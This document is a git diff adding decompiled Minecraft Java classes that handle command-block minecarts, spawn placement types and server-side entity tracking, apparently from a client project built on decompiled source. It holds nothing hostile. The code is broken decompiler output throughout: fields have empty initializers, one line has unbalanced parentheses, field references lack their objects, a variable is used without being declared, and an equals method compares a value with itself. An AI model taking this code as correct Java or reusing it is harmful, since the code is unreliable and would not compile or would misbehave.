+  public EntityMinecartCommandBlock(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityMinecartCommandBlock(World worldIn, double p_i45322_2_, double p_i45322_4_, double p_i45322_6_)
+  {
+    super(worldIn, p_i45322_2_, p_i45322_4_, p_i45322_6_);
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    getDataWatcher().addObject(23, "");
+    getDataWatcher().addObject(24, "");
+  }
+  
+
+
+
+  protected void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    field_145824_a.readDataFromNBT(tagCompund);
+    getDataWatcher().updateObject(23, func_145822_e().getCustomName());
+    getDataWatcher().updateObject(24, IChatComponent.Serializer.componentToJson(func_145822_e().getLastOutput()));
+  }
+  
+
+
+
+  protected void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    field_145824_a.writeDataToNBT(tagCompound);
+  }
+  
+  public EntityMinecart.EnumMinecartType func_180456_s()
+  {
+    return EntityMinecart.EnumMinecartType.COMMAND_BLOCK;
+  }
+  
+  public IBlockState func_180457_u()
+  {
+    return net.minecraft.init.Blocks.command_block.getDefaultState();
+  }
+  
+  public CommandBlockLogic func_145822_e()
+  {
+    return field_145824_a;
+  }
+  
+
+
+
+  public void onActivatorRailPass(int p_96095_1_, int p_96095_2_, int p_96095_3_, boolean p_96095_4_)
+  {
+    if ((p_96095_4_) && (ticksExisted - field_145823_b >= 4))
+    {
+      func_145822_e().trigger(worldObj);
+      field_145823_b = ticksExisted;
+    }
+  }
+  
+
+
+
+  public boolean interactFirst(EntityPlayer playerIn)
+  {
+    field_145824_a.func_175574_a(playerIn);
+    return false;
+  }
+  
+  public void func_145781_i(int p_145781_1_)
+  {
+    super.func_145781_i(p_145781_1_);
+    
+    if (p_145781_1_ == 24)
+    {
+      try
+      {
+        field_145824_a.func_145750_b(IChatComponent.Serializer.jsonToComponent(getDataWatcher().getWatchableObjectString(24)));
+
+
+      }
+      catch (Throwable localThrowable) {}
+
+    }
+    else if (p_145781_1_ == 23)
+    {
+      field_145824_a.setCommand(getDataWatcher().getWatchableObjectString(23));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/EntitySpawnPlacementRegistry.java b/src/minecraft/net/minecraft/entity/EntitySpawnPlacementRegistry.java
new file mode 100644
index 0000000..be718cf
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EntitySpawnPlacementRegistry.java
@@ -0,0 +1,83 @@
+package net.minecraft.entity;
+
+import com.google.common.collect.Maps;
+import java.util.HashMap;
+import net.minecraft.entity.boss.EntityDragon;
+import net.minecraft.entity.boss.EntityWither;
+import net.minecraft.entity.monster.EntityBlaze;
+import net.minecraft.entity.monster.EntityCaveSpider;
+import net.minecraft.entity.monster.EntityCreeper;
+import net.minecraft.entity.monster.EntityEnderman;
+import net.minecraft.entity.monster.EntityEndermite;
+import net.minecraft.entity.monster.EntityGhast;
+import net.minecraft.entity.monster.EntityGiantZombie;
+import net.minecraft.entity.monster.EntityGuardian;
+import net.minecraft.entity.monster.EntityIronGolem;
+import net.minecraft.entity.monster.EntityMagmaCube;
+import net.minecraft.entity.monster.EntityPigZombie;
+import net.minecraft.entity.monster.EntitySilverfish;
+import net.minecraft.entity.monster.EntitySkeleton;
+import net.minecraft.entity.monster.EntitySlime;
+import net.minecraft.entity.monster.EntitySnowman;
+import net.minecraft.entity.monster.EntitySpider;
+import net.minecraft.entity.monster.EntityWitch;
+import net.minecraft.entity.monster.EntityZombie;
+import net.minecraft.entity.passive.EntityBat;
+import net.minecraft.entity.passive.EntityChicken;
+import net.minecraft.entity.passive.EntityCow;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.entity.passive.EntityMooshroom;
+import net.minecraft.entity.passive.EntityOcelot;
+import net.minecraft.entity.passive.EntityPig;
+import net.minecraft.entity.passive.EntityRabbit;
+import net.minecraft.entity.passive.EntitySheep;
+import net.minecraft.entity.passive.EntitySquid;
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.entity.passive.EntityWolf;
+
+public class EntitySpawnPlacementRegistry
+{
+  private static final HashMap field_180110_a = ;
+  
+  private static final String __OBFID = "CL_00002254";
+  
+
+  public static EntityLiving.SpawnPlacementType func_180109_a(Class p_180109_0_) { return (EntityLiving.SpawnPlacementType)field_180110_a.get(p_180109_0_); }
+  
+  public EntitySpawnPlacementRegistry() {}
+  
+  static {
+    field_180110_a.put(EntityBat.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityChicken.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityCow.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityHorse.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityMooshroom.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityOcelot.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityPig.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityRabbit.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntitySheep.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntitySnowman.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntitySquid.class, EntityLiving.SpawnPlacementType.IN_WATER);
+    field_180110_a.put(EntityIronGolem.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityWolf.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityVillager.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityDragon.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityWither.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityBlaze.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityCaveSpider.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityCreeper.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityEnderman.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityEndermite.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityGhast.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityGiantZombie.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityGuardian.class, EntityLiving.SpawnPlacementType.IN_WATER);
+    field_180110_a.put(EntityMagmaCube.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityPigZombie.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntitySilverfish.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntitySkeleton.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntitySlime.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntitySpider.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityWitch.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+    field_180110_a.put(EntityZombie.class, EntityLiving.SpawnPlacementType.ON_GROUND);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/EntityTracker.java b/src/minecraft/net/minecraft/entity/EntityTracker.java
new file mode 100644
index 0000000..1ea80e9
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EntityTracker.java
@@ -0,0 +1,367 @@
+package net.minecraft.entity;
+
+import com.google.common.collect.Sets;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.boss.EntityDragon;
+import net.minecraft.entity.boss.EntityWither;
+import net.minecraft.entity.item.EntityArmorStand;
+import net.minecraft.entity.item.EntityBoat;
+import net.minecraft.entity.item.EntityEnderCrystal;
+import net.minecraft.entity.item.EntityEnderEye;
+import net.minecraft.entity.item.EntityEnderPearl;
+import net.minecraft.entity.item.EntityExpBottle;
+import net.minecraft.entity.item.EntityFallingBlock;
+import net.minecraft.entity.item.EntityFireworkRocket;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.entity.item.EntityTNTPrimed;
+import net.minecraft.entity.item.EntityXPOrb;
+import net.minecraft.entity.passive.EntityBat;
+import net.minecraft.entity.passive.EntitySquid;
+import net.minecraft.entity.passive.IAnimals;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.entity.projectile.EntityFireball;
+import net.minecraft.entity.projectile.EntityFishHook;
+import net.minecraft.entity.projectile.EntityPotion;
+import net.minecraft.entity.projectile.EntitySmallFireball;
+import net.minecraft.entity.projectile.EntitySnowball;
+import net.minecraft.network.Packet;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.IntHashMap;
+import net.minecraft.util.ReportedException;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.chunk.Chunk;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class EntityTracker
+{
+  private static final Logger logger = ;
+  
+
+  private final WorldServer theWorld;
+  
+
+  private Set trackedEntities = Sets.newHashSet();
+  
+
+  private IntHashMap trackedEntityHashTable = new IntHashMap();
+  private int maxTrackingDistanceThreshold;
+  private static final String __OBFID = "CL_00001431";
+  
+  public EntityTracker(WorldServer p_i1516_1_)
+  {
+    theWorld = p_i1516_1_;
+    maxTrackingDistanceThreshold = p_i1516_1_.func_73046_m().getConfigurationManager().getEntityViewDistance();
+  }
+  
+  public void trackEntity(Entity p_72786_1_)
+  {
+    if ((p_72786_1_ instanceof EntityPlayerMP))
+    {
+      trackEntity(p_72786_1_, 512, 2);
+      EntityPlayerMP var2 = (EntityPlayerMP)p_72786_1_;
+      Iterator var3 = trackedEntities.iterator();
+      
+      while (var3.hasNext())
+      {
+        EntityTrackerEntry var4 = (EntityTrackerEntry)var3.next();
+        
+        if (trackedEntity != var2)
+        {
+          var4.updatePlayerEntity(var2);
+        }
+      }
+    }
+    else if ((p_72786_1_ instanceof EntityFishHook))
+    {
+      addEntityToTracker(p_72786_1_, 64, 5, true);
+    }
+    else if ((p_72786_1_ instanceof EntityArrow))
+    {
+      addEntityToTracker(p_72786_1_, 64, 20, false);
+    }
+    else if ((p_72786_1_ instanceof EntitySmallFireball))
+    {
+      addEntityToTracker(p_72786_1_, 64, 10, false);
+    }
+    else if ((p_72786_1_ instanceof EntityFireball))
+    {
+      addEntityToTracker(p_72786_1_, 64, 10, false);
+    }
+    else if ((p_72786_1_ instanceof EntitySnowball))
+    {
+      addEntityToTracker(p_72786_1_, 64, 10, true);
+    }
+    else if ((p_72786_1_ instanceof EntityEnderPearl))
+    {
+      addEntityToTracker(p_72786_1_, 64, 10, true);
+    }
+    else if ((p_72786_1_ instanceof EntityEnderEye))
+    {
+      addEntityToTracker(p_72786_1_, 64, 4, true);
+    }
+    else if ((p_72786_1_ instanceof net.minecraft.entity.projectile.EntityEgg))
+    {
+      addEntityToTracker(p_72786_1_, 64, 10, true);
+    }
+    else if ((p_72786_1_ instanceof EntityPotion))
+    {
+      addEntityToTracker(p_72786_1_, 64, 10, true);
+    }
+    else if ((p_72786_1_ instanceof EntityExpBottle))
+    {
+      addEntityToTracker(p_72786_1_, 64, 10, true);
+    }
+    else if ((p_72786_1_ instanceof EntityFireworkRocket))
+    {
+      addEntityToTracker(p_72786_1_, 64, 10, true);
+    }
+    else if ((p_72786_1_ instanceof EntityItem))
+    {
+      addEntityToTracker(p_72786_1_, 64, 20, true);
+    }
+    else if ((p_72786_1_ instanceof EntityMinecart))
+    {
+      addEntityToTracker(p_72786_1_, 80, 3, true);
+    }
+    else if ((p_72786_1_ instanceof EntityBoat))
+    {
+      addEntityToTracker(p_72786_1_, 80, 3, true);
+    }
+    else if ((p_72786_1_ instanceof EntitySquid))
+    {
+      addEntityToTracker(p_72786_1_, 64, 3, true);
+    }
+    else if ((p_72786_1_ instanceof EntityWither))
+    {
+      addEntityToTracker(p_72786_1_, 80, 3, false);
+    }
+    else if ((p_72786_1_ instanceof EntityBat))
+    {
+      addEntityToTracker(p_72786_1_, 80, 3, false);
+    }
+    else if ((p_72786_1_ instanceof EntityDragon))
+    {
+      addEntityToTracker(p_72786_1_, 160, 3, true);
+    }
+    else if ((p_72786_1_ instanceof IAnimals))
+    {
+      addEntityToTracker(p_72786_1_, 80, 3, true);
+    }
+    else if ((p_72786_1_ instanceof EntityTNTPrimed))
+    {
+      addEntityToTracker(p_72786_1_, 160, 10, true);
+    }
+    else if ((p_72786_1_ instanceof EntityFallingBlock))
+    {
+      addEntityToTracker(p_72786_1_, 160, 20, true);
+    }
+    else if ((p_72786_1_ instanceof EntityHanging))
+    {
+      addEntityToTracker(p_72786_1_, 160, Integer.MAX_VALUE, false);
+    }
+    else if ((p_72786_1_ instanceof EntityArmorStand))
+    {
+      addEntityToTracker(p_72786_1_, 160, 3, true);
+    }
+    else if ((p_72786_1_ instanceof EntityXPOrb))
+    {
+      addEntityToTracker(p_72786_1_, 160, 20, true);
+    }
+    else if ((p_72786_1_ instanceof EntityEnderCrystal))
+    {
+      addEntityToTracker(p_72786_1_, 256, Integer.MAX_VALUE, false);
+    }
+  }
+  
+  public void trackEntity(Entity p_72791_1_, int p_72791_2_, int p_72791_3_)
+  {
+    addEntityToTracker(p_72791_1_, p_72791_2_, p_72791_3_, false);
+  }
+  
+
+
+
+  public void addEntityToTracker(Entity p_72785_1_, int p_72785_2_, final int p_72785_3_, boolean p_72785_4_)
+  {
+    if (p_72785_2_ > maxTrackingDistanceThreshold)
+    {
+      p_72785_2_ = maxTrackingDistanceThreshold;
+    }
+    
+    try
+    {
+      if (trackedEntityHashTable.containsItem(p_72785_1_.getEntityId()))
+      {
+        throw new IllegalStateException("Entity is already tracked!");
+      }
+      
+      EntityTrackerEntry var5 = new EntityTrackerEntry(p_72785_1_, p_72785_2_, p_72785_3_, p_72785_4_);
+      trackedEntities.add(var5);
+      trackedEntityHashTable.addKey(p_72785_1_.getEntityId(), var5);
+      var5.updatePlayerEntities(theWorld.playerEntities);
+    }
+    catch (Throwable var11)
+    {
+      CrashReport var6 = CrashReport.makeCrashReport(var11, "Adding entity to track");
+      CrashReportCategory var7 = var6.makeCategory("Entity To Track");
+      var7.addCrashSection("Tracking range", p_72785_2_ + " blocks");
+      var7.addCrashSectionCallable("Update interval", new Callable()
+      {
+        private static final String __OBFID = "CL_00001432";
+        
+        public String call() {
+          String var1 = "Once per " + p_72785_3_ + " ticks";
+          
+          if (p_72785_3_ == Integer.MAX_VALUE)
+          {
+            var1 = "Maximum (" + var1 + ")";
+          }
+          
+          return var1;
+        }
+      });
+      p_72785_1_.addEntityCrashInfo(var7);
+      CrashReportCategory var8 = var6.makeCategory("Entity That Is Already Tracked");
+      trackedEntityHashTable.lookup(p_72785_1_.getEntityId())).trackedEntity.addEntityCrashInfo(var8);
+      
+      try
+      {
+        throw new ReportedException(var6);
+      }
+      catch (ReportedException var10)
+      {
+        logger.error("\"Silently\" catching entity tracking error.", var10);
+      }
+    }
+  }
+  
+  public void untrackEntity(Entity p_72790_1_)
+  {
+    if ((p_72790_1_ instanceof EntityPlayerMP))
+    {
+      EntityPlayerMP var2 = (EntityPlayerMP)p_72790_1_;
+      Iterator var3 = trackedEntities.iterator();
+      
+      while (var3.hasNext())
+      {
+        EntityTrackerEntry var4 = (EntityTrackerEntry)var3.next();
+        var4.removeFromTrackedPlayers(var2);
+      }
+    }
+    
+    EntityTrackerEntry var5 = (EntityTrackerEntry)trackedEntityHashTable.removeObject(p_72790_1_.getEntityId());
+    
+    if (var5 != null)
+    {
+      trackedEntities.remove(var5);
+      var5.sendDestroyEntityPacketToTrackedPlayers();
+    }
+  }
+  
+  public void updateTrackedEntities()
+  {
+    ArrayList var1 = com.google.common.collect.Lists.newArrayList();
+    Iterator var2 = trackedEntities.iterator();
+    
+    while (var2.hasNext())
+    {
+      EntityTrackerEntry var3 = (EntityTrackerEntry)var2.next();
+      var3.updatePlayerList(theWorld.playerEntities);
+      
+      if ((playerEntitiesUpdated) && ((trackedEntity instanceof EntityPlayerMP)))
+      {
+        var1.add((EntityPlayerMP)trackedEntity);
+      }
+    }
+    
+    for (int var6 = 0; var6 < var1.size(); var6++)
+    {
+      EntityPlayerMP var7 = (EntityPlayerMP)var1.get(var6);
+      Iterator var4 = trackedEntities.iterator();
+      
+      while (var4.hasNext())
+      {
+        EntityTrackerEntry var5 = (EntityTrackerEntry)var4.next();
+        
+        if (trackedEntity != var7)
+        {
+          var5.updatePlayerEntity(var7);
+        }
+      }
+    }
+  }
+  
+  public void func_180245_a(EntityPlayerMP p_180245_1_)
+  {
+    Iterator var2 = trackedEntities.iterator();
+    
+    while (var2.hasNext())
+    {
+      EntityTrackerEntry var3 = (EntityTrackerEntry)var2.next();
+      
+      if (trackedEntity == p_180245_1_)
+      {
+        var3.updatePlayerEntities(theWorld.playerEntities);
+      }
+      else
+      {
+        var3.updatePlayerEntity(p_180245_1_);
+      }
+    }
+  }
+  
+  public void sendToAllTrackingEntity(Entity p_151247_1_, Packet p_151247_2_)
+  {
+    EntityTrackerEntry var3 = (EntityTrackerEntry)trackedEntityHashTable.lookup(p_151247_1_.getEntityId());
+    
+    if (var3 != null)
+    {
+      var3.func_151259_a(p_151247_2_);
+    }
+  }
+  
+  public void func_151248_b(Entity p_151248_1_, Packet p_151248_2_)
+  {
+    EntityTrackerEntry var3 = (EntityTrackerEntry)trackedEntityHashTable.lookup(p_151248_1_.getEntityId());
+    
+    if (var3 != null)
+    {
+      var3.func_151261_b(p_151248_2_);
+    }
+  }
+  
+  public void removePlayerFromTrackers(EntityPlayerMP p_72787_1_)
+  {
+    Iterator var2 = trackedEntities.iterator();
+    
+    while (var2.hasNext())
+    {
+      EntityTrackerEntry var3 = (EntityTrackerEntry)var2.next();
+      var3.removeTrackedPlayerSymmetric(p_72787_1_);
+    }
+  }
+  
+  public void func_85172_a(EntityPlayerMP p_85172_1_, Chunk p_85172_2_)
+  {
+    Iterator var3 = trackedEntities.iterator();
+    
+    while (var3.hasNext())
+    {
+      EntityTrackerEntry var4 = (EntityTrackerEntry)var3.next();
+      
+      if ((trackedEntity != p_85172_1_) && (trackedEntity.chunkCoordX == xPosition) && (trackedEntity.chunkCoordZ == zPosition))
+      {
+        var4.updatePlayerEntity(p_85172_1_);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/EntityTrackerEntry.java b/src/minecraft/net/minecraft/entity/EntityTrackerEntry.java
new file mode 100644
index 0000000..0d91cb5
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EntityTrackerEntry.java
@@ -0,0 +1,665 @@
+package net.minecraft.entity;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import net.minecraft.block.Block;
+import net.minecraft.entity.ai.attributes.ServersideAttributeMap;
+import net.minecraft.entity.item.EntityArmorStand;
+import net.minecraft.entity.item.EntityBoat;
+import net.minecraft.entity.item.EntityEnderCrystal;
+import net.minecraft.entity.item.EntityEnderEye;
+import net.minecraft.entity.item.EntityEnderPearl;
+import net.minecraft.entity.item.EntityExpBottle;
+import net.minecraft.entity.item.EntityFallingBlock;
+import net.minecraft.entity.item.EntityFireworkRocket;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.item.EntityItemFrame;
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.entity.item.EntityMinecart.EnumMinecartType;
+import net.minecraft.entity.item.EntityPainting;
+import net.minecraft.entity.item.EntityXPOrb;
+import net.minecraft.entity.passive.IAnimals;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.entity.projectile.EntityFireball;
+import net.minecraft.entity.projectile.EntityFishHook;
+import net.minecraft.entity.projectile.EntityPotion;
+import net.minecraft.entity.projectile.EntitySmallFireball;
+import net.minecraft.entity.projectile.EntitySnowball;
+import net.minecraft.entity.projectile.EntityWitherSkull;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemMap;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.NetHandlerPlayServer;
+import net.minecraft.network.Packet;
+import net.minecraft.network.play.server.S04PacketEntityEquipment;
+import net.minecraft.network.play.server.S0APacketUseBed;
+import net.minecraft.network.play.server.S0CPacketSpawnPlayer;
+import net.minecraft.network.play.server.S0EPacketSpawnObject;
+import net.minecraft.network.play.server.S0FPacketSpawnMob;
+import net.minecraft.network.play.server.S10PacketSpawnPainting;
+import net.minecraft.network.play.server.S11PacketSpawnExperienceOrb;
+import net.minecraft.network.play.server.S12PacketEntityVelocity;
+import net.minecraft.network.play.server.S14PacketEntity.S16PacketEntityLook;
+import net.minecraft.network.play.server.S14PacketEntity.S17PacketEntityLookMove;
+import net.minecraft.network.play.server.S18PacketEntityTeleport;
+import net.minecraft.network.play.server.S1BPacketEntityAttach;
+import net.minecraft.network.play.server.S1CPacketEntityMetadata;
+import net.minecraft.network.play.server.S1DPacketEntityEffect;
+import net.minecraft.network.play.server.S20PacketEntityProperties;
+import net.minecraft.network.play.server.S49PacketUpdateEntityNBT;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.storage.MapData;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class EntityTrackerEntry
+{
+  private static final Logger logger = ;
+  
+  public Entity trackedEntity;
+  
+  public int trackingDistanceThreshold;
+  
+  public int updateFrequency;
+  
+  public int encodedPosX;
+  
+  public int encodedPosY;
+  
+  public int encodedPosZ;
+  
+  public int encodedRotationYaw;
+  
+  public int encodedRotationPitch;
+  
+  public int lastHeadMotion;
+  
+  public double lastTrackedEntityMotionX;
+  
+  public double lastTrackedEntityMotionY;
+  
+  public double motionZ;
+  
+  public int updateCounter;
+  
+  private double lastTrackedEntityPosX;
+  
+  private double lastTrackedEntityPosY;
+  
+  private double lastTrackedEntityPosZ;
+  
+  private boolean firstUpdateDone;
+  
+  private boolean sendVelocityUpdates;
+  
+  private int ticksSinceLastForcedTeleport;
+  
+  private Entity field_85178_v;
+  
+  private boolean ridingEntity;
+  
+  private boolean field_180234_y;
+  
+  public boolean playerEntitiesUpdated;
+  public Set trackingPlayers = com.google.common.collect.Sets.newHashSet();
+  private static final String __OBFID = "CL_00001443";
+  
+  public EntityTrackerEntry(Entity p_i1525_1_, int p_i1525_2_, int p_i1525_3_, boolean p_i1525_4_)
+  {
+    trackedEntity = p_i1525_1_;
+    trackingDistanceThreshold = p_i1525_2_;
+    updateFrequency = p_i1525_3_;
+    sendVelocityUpdates = p_i1525_4_;
+    encodedPosX = MathHelper.floor_double(posX * 32.0D);
+    encodedPosY = MathHelper.floor_double(posY * 32.0D);
+    encodedPosZ = MathHelper.floor_double(posZ * 32.0D);
+    encodedRotationYaw = MathHelper.floor_float(rotationYaw * 256.0F / 360.0F);
+    encodedRotationPitch = MathHelper.floor_float(rotationPitch * 256.0F / 360.0F);
+    lastHeadMotion = MathHelper.floor_float(p_i1525_1_.getRotationYawHead() * 256.0F / 360.0F);
+    field_180234_y = onGround;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    return trackedEntity.getEntityId() == trackedEntity.getEntityId();
+  }
+  
+  public int hashCode()
+  {
+    return trackedEntity.getEntityId();
+  }
+  
+  public void updatePlayerList(List p_73122_1_)
+  {
+    playerEntitiesUpdated = false;
+    
+    if ((!firstUpdateDone) || (trackedEntity.getDistanceSq(lastTrackedEntityPosX, lastTrackedEntityPosY, lastTrackedEntityPosZ) > 16.0D))
+    {
+      lastTrackedEntityPosX = trackedEntity.posX;
+      lastTrackedEntityPosY = trackedEntity.posY;
+      lastTrackedEntityPosZ = trackedEntity.posZ;
+      firstUpdateDone = true;
+      playerEntitiesUpdated = true;
+      updatePlayerEntities(p_73122_1_);
+    }
+    
+    if ((field_85178_v != trackedEntity.ridingEntity) || ((trackedEntity.ridingEntity != null) && (updateCounter % 60 == 0)))
+    {
+      field_85178_v = trackedEntity.ridingEntity;
+      func_151259_a(new S1BPacketEntityAttach(0, trackedEntity, trackedEntity.ridingEntity));
+    }
+    
+    if (((trackedEntity instanceof EntityItemFrame)) && (updateCounter % 10 == 0))
+    {
+      EntityItemFrame var2 = (EntityItemFrame)trackedEntity;
+      ItemStack var3 = var2.getDisplayedItem();
+      
+      if ((var3 != null) && ((var3.getItem() instanceof ItemMap)))
+      {
+        MapData var4 = Items.filled_map.getMapData(var3, trackedEntity.worldObj);
+        Iterator var5 = p_73122_1_.iterator();
+        
+        while (var5.hasNext())
+        {
+          EntityPlayer var6 = (EntityPlayer)var5.next();
+          EntityPlayerMP var7 = (EntityPlayerMP)var6;
+          var4.updateVisiblePlayers(var7, var3);
+          Packet var8 = Items.filled_map.createMapDataPacket(var3, trackedEntity.worldObj, var7);
+          
+          if (var8 != null)
+          {
+            playerNetServerHandler.sendPacket(var8);
+          }
+        }
+      }
+      
+      sendMetadataToAllAssociatedPlayers();
+    }
+    
+    if ((updateCounter % updateFrequency == 0) || (trackedEntity.isAirBorne) || (trackedEntity.getDataWatcher().hasObjectChanged()))
+    {
+
+
+
+      if (trackedEntity.ridingEntity == null)
+      {
+        ticksSinceLastForcedTeleport += 1;
+        int var23 = MathHelper.floor_double(trackedEntity.posX * 32.0D);
+        int var24 = MathHelper.floor_double(trackedEntity.posY * 32.0D);
+        int var25 = MathHelper.floor_double(trackedEntity.posZ * 32.0D);
+        int var27 = MathHelper.floor_float(trackedEntity.rotationYaw * 256.0F / 360.0F);
+        int var28 = MathHelper.floor_float(trackedEntity.rotationPitch * 256.0F / 360.0F);
+        int var29 = var23 - encodedPosX;
+        int var30 = var24 - encodedPosY;
+        int var9 = var25 - encodedPosZ;
+        Object var10 = null;
+        boolean var11 = (Math.abs(var29) >= 4) || (Math.abs(var30) >= 4) || (Math.abs(var9) >= 4) || (updateCounter % 60 == 0);
+        boolean var12 = (Math.abs(var27 - encodedRotationYaw) >= 4) || (Math.abs(var28 - encodedRotationPitch) >= 4);
+        
+        if ((updateCounter > 0) || ((trackedEntity instanceof EntityArrow)))
+        {
+          if ((var29 >= -128) && (var29 < 128) && (var30 >= -128) && (var30 < 128) && (var9 >= -128) && (var9 < 128) && (ticksSinceLastForcedTeleport <= 400) && (!ridingEntity) && (field_180234_y == trackedEntity.onGround))
+          {
+            if ((var11) && (var12))
+            {
+              var10 = new S14PacketEntity.S17PacketEntityLookMove(trackedEntity.getEntityId(), (byte)var29, (byte)var30, (byte)var9, (byte)var27, (byte)var28, trackedEntity.onGround);
+            }
+            else if (var11)
+            {
+              var10 = new net.minecraft.network.play.server.S14PacketEntity.S15PacketEntityRelMove(trackedEntity.getEntityId(), (byte)var29, (byte)var30, (byte)var9, trackedEntity.onGround);
+            }
+            else if (var12)
+            {
+              var10 = new S14PacketEntity.S16PacketEntityLook(trackedEntity.getEntityId(), (byte)var27, (byte)var28, trackedEntity.onGround);
+            }
+          }
+          else
+          {
+            field_180234_y = trackedEntity.onGround;
+            ticksSinceLastForcedTeleport = 0;
+            var10 = new S18PacketEntityTeleport(trackedEntity.getEntityId(), var23, var24, var25, (byte)var27, (byte)var28, trackedEntity.onGround);
+          }
+        }
+        
+        if (sendVelocityUpdates)
+        {
+          double var13 = trackedEntity.motionX - lastTrackedEntityMotionX;
+          double var15 = trackedEntity.motionY - lastTrackedEntityMotionY;
+          double var17 = trackedEntity.motionZ - motionZ;
+          double var19 = 0.02D;
+          double var21 = var13 * var13 + var15 * var15 + var17 * var17;
+          
+          if ((var21 > var19 * var19) || ((var21 > 0.0D) && (trackedEntity.motionX == 0.0D) && (trackedEntity.motionY == 0.0D) && (trackedEntity.motionZ == 0.0D)))
+          {
+            lastTrackedEntityMotionX = trackedEntity.motionX;
+            lastTrackedEntityMotionY = trackedEntity.motionY;
+            motionZ = trackedEntity.motionZ;
+            func_151259_a(new S12PacketEntityVelocity(trackedEntity.getEntityId(), lastTrackedEntityMotionX, lastTrackedEntityMotionY, motionZ));
+          }
+        }
+        
+        if (var10 != null)
+        {
+          func_151259_a((Packet)var10);
+        }
+        
+        sendMetadataToAllAssociatedPlayers();
+        
+        if (var11)
+        {
+          encodedPosX = var23;
+          encodedPosY = var24;
+          encodedPosZ = var25;
+        }
+        
+        if (var12)
+        {
+          encodedRotationYaw = var27;
+          encodedRotationPitch = var28;
+        }
+        
+        ridingEntity = false;
+      }
+      else
+      {
+        var23 = MathHelper.floor_float(trackedEntity.rotationYaw * 256.0F / 360.0F);
+        int var24 = MathHelper.floor_float(trackedEntity.rotationPitch * 256.0F / 360.0F);
+        boolean var26 = (Math.abs(var23 - encodedRotationYaw) >= 4) || (Math.abs(var24 - encodedRotationPitch) >= 4);
+        
+        if (var26)
+        {
+          func_151259_a(new S14PacketEntity.S16PacketEntityLook(trackedEntity.getEntityId(), (byte)var23, (byte)var24, trackedEntity.onGround));
+          encodedRotationYaw = var23;
+          encodedRotationPitch = var24;
+        }
+        
+        encodedPosX = MathHelper.floor_double(trackedEntity.posX * 32.0D);
+        encodedPosY = MathHelper.floor_double(trackedEntity.posY * 32.0D);
